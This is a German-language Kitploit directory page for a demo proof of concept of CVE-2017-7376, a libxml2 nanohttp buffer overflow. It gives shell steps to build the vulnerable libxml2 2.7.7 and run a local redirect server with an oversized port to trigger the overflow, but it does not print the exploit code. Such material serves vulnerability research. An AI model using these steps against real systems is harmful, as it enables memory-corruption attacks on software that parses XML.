Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
libxml2-exploit — Ein Beispiel-Exploit für CVE-2017-7376 | Kitploit
Tools/GitHubGitHub/brahmstaedt/libxml2-exploit
SchwachstellenanalyseExploitationWebsicherheitFuzzingBinary-Exploitation
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

Ein Beispiel-Exploit für CVE-2017-7376

Repository anzeigen
33vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

libxml2-exploit

Ein Beispiel-Exploit für CVE-2017-7376

Installation

Laden Sie dieses Repository und eine verwundbare Version von libxml2 herunter, z.B. v2.7.7:

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

Einrichtung

root@kitploit:~
cd libxml2

libxml2 vorbereiten

Um den Erfolg des Exploits besser sichtbar zu machen, fügen Sie Code hinzu, um den Pufferüberlauf in libxml2 zu erkennen. Nicht erforderlich, wenn Sie andere Sichtbarkeitsmöglichkeiten haben, wie z.B. den Absturz der Anwendung.

root@kitploit:~
git apply ../nanohttp.patch

libxml2 erstellen

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

Falls der folgende Fehler auftritt:

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

Ersetzen Sie in configure.in AM_C_PROTOTYPES durch dnl AM_C_PROTOTYPES, z.B. so:

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

Zurück

root@kitploit:~
cd ..

Webserver vorbereiten

Dieser Exploit benötigt einen Webserver, der mit einer Weiterleitung auf eine neue URL antwortet, deren Portnummer größer als 5 Stellen und kleiner als int32max (2147483648 = 2^32/2) ist.

Server starten (erfordert Node.js und dass Port 127.0.0.1:8080 frei ist):

root@kitploit:~
node http.js &

Webserver testen; sollte sich über ungültige Portnummer 2147426192 beschweren:

root@kitploit:~
wget localhost:8080

Kompilieren

root@kitploit:~
make

Ausführen

root@kitploit:~
./run.sh

Erwartete Ausgabe:

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

Noch zu erledigen

Dieser Demo-Exploit erfordert, dass das Hauptprogramm xmlXIncludeProcess() ausführt, um den fehlerhaften Code in libxml2 zu erreichen, was in vielen tatsächlichen Implementierungen wahrscheinlich nicht verwendet wird. Aber nanohttp.c erwähnt im Kommentar, dass es sich um eine minimalistische HTTP-GET-Implementierung zum Abrufen externer Teilmengen handelt, was einen weiteren Angriffsweg bieten könnte.

Tool herunterladen